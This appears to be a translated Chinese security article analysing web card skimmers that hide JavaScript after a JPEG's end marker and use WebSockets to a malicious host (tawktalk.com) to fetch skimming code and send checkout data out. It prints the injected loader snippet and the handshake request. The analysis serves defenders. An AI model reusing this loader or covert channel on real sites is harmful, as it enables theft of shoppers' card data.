web skimmers中发现新的绕过技术
导语:web skimmers使用隐写术和websocket绕过技术来隐藏其恶意活动。
经过多年的发展,现在网络犯罪分子已经可以在不引起太多注意的情况下从在线商店中窃取银行卡凭证了。Magecart是最著名的信用卡web skimmers,本文介绍web skimmers中发现使用的最新的绕过技术。
最新的客户端web skimmers有两种新的绕过技术用于隐藏其恶意活动。
隐写术
恶意软件使用隐写术来隐藏数据已经有很多年的历史了。早在2014年,恶意软件开发者就开发出了Zeus银行木马的变种ZeusVM,用来将配置数据隐藏在图片中。
在web安全环境下,在图像文件中隐藏恶意代码很难检测。比如,电商网站和网站加载的许多组件中都可以隐藏恶意代码,比如logo、产品图片等。
2019年12月26日,@AffableKraut 在twitter上公开了第一个基于隐写术的信用卡skimmer。从图片来看,就是一个常见的看似无害的图片。
图 1: 电商网站上的免费logo
唯一存在是恶意文件的迹象就是该文件被修改过了,在文件正常的结束部分后有额外的数据。为了更好地了解这些数据的内容和位置,研究人员在十六进制编辑器中打开了图片。JPEG编码的JFIF有特殊的结构:
图 2: 以十六进制形式查看图片
从以上可以看出,图片本身是满足所有要求的,而且没有什么特殊的地方。但从图1中可以得知,在最后一个部分之后还加入了一些额外的数据,标记为FF D9。
图 3: 查看图片文件结构
可以在文件的标记结束后看到有JS代码。其中有一些onestepcheckout和authorizenet这样的字符串,因此可以判定这是信用卡skimming代码。
研究人员分析发现所有使用隐写skimmer被黑的站点都被注入了相似的代码片段来加载伪造的图片,并通过slice()方法来分析JS的内容。
var xhr = new XMLHttpRequest(); xhr.open('GET', '[image path]', true); xhr.send(); xhr.onreadystatechange = function() { if (this.readyState != 4) return; if (this.status == 200) { var F=new Function (this.responseText.slice(-[number])); return(F()); } }
大多数的web爬虫和扫描器仍在关注HTML和JS文件,而忽略了媒体文件,原因就在于媒体文件大多很大,而且处理起来很慢。
几年前有一个恶意广告攻击活动将受害者重定向到了Angler漏洞利用套件。有攻击者使用了相似的技术将指纹代码隐藏在了伪造的GIF图像文件中。
一般来说,任何直接加载的文件或来自第三方的文件都应该被认为是可疑的。
图 4: Malwarebytes拦截使用隐写术的skimmer
通过WebSockets而非HTTP
WebSocket是一种通信协议,允许数据流在客户端和服务器之间通过TCP连接就行交换。因此,WebSockets与HTTP协议有很大的不同。
图 5: WebSocket 与HTTP协议的比较
WebSockets的劣势在于不适用于实时数据传输,这也可能是攻击者很少使用该协议的原因。在本例中,WebSockets提供了一种更隐蔽的方式来交换数据。
在web skimmers中有一些特征可以就行搜索:
· 直接注入被黑站点的Skimmer代码(DOM中的JS代码)
· 从尾部源加载的Skimmer代码(src属性中的script标签)
· 窃取数据(含有编码数据的HTTP GET/POST请求)
WebSockets提供了一种交换数据的新方法,第一个就是skimming代码,第二个是数据窃取。
攻击者无需加载新的webSocket,因此会在DOM中检测到。但是可以通过混淆代码的方式来完成。
图 6: 秘密加载WebSocket的恶意代码
目标是通过WebSocket来隐藏到攻击者控制的服务器的连接。JS代码在浏览器中运行后,就会触发一些客户端握手请求:
GET https://tawktalk.com/modernize/css/ HTTP/1.1 Host: tawktalk.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: {removed} Upgrade: websocket Origin: https://www.{removed}.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Sec-WebSocket-Key: {removed} Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits It will be followed by the server handshake response: HTTP/1.1 101 Switching Protocols Server: nginx/1.12.2 Date: {removed} Connection: upgrade Upgrade: websocket Sec-WebSocket-Accept: {removed} EndTime: {removed} ReceivedBytes: 22296 SentBytes: 57928
连接建立后,客户端(受害者浏览器)和服务器(恶意主机)之间会交换一系列的双向消息。Base64编码的数据也会下载到客户端,并作为JS代码来处理。这些代码最终会成为信用卡skimming代码。
图 7: WebSocket消息,下载skimmer然后窃取C2数据
以下消息是从checkout页面的form表单中尝试窃取的,数据经过加密使得不那么明显。WebSocket也被用于其他的web威胁中——就是加密货币挖矿。在加密货币挖矿中,并不需要太多隐藏,因为有了新的挖矿任务后,浏览器内的挖矿进程必须发送回哈希值给服务器。但是并没有发现使用WebSocket和代理来绕过检测。
不同的攻击技术,相同的保护方法
除了文中介绍的这些绕过技术外,还有其他的方式来隐藏和加载恶意脚本,比如通过ActionScript的Flash Player对许多恶意软件活动来说就是一种新的工具。著名的重定向基础设施EITest就使用SWF文件来加载恶意iframe到一个漏洞利用套件。虽然大多数恶意软件作者仍然会使用一些传统的方法,但越来越多的人开始使用新的方法来绕过检测。
发表评论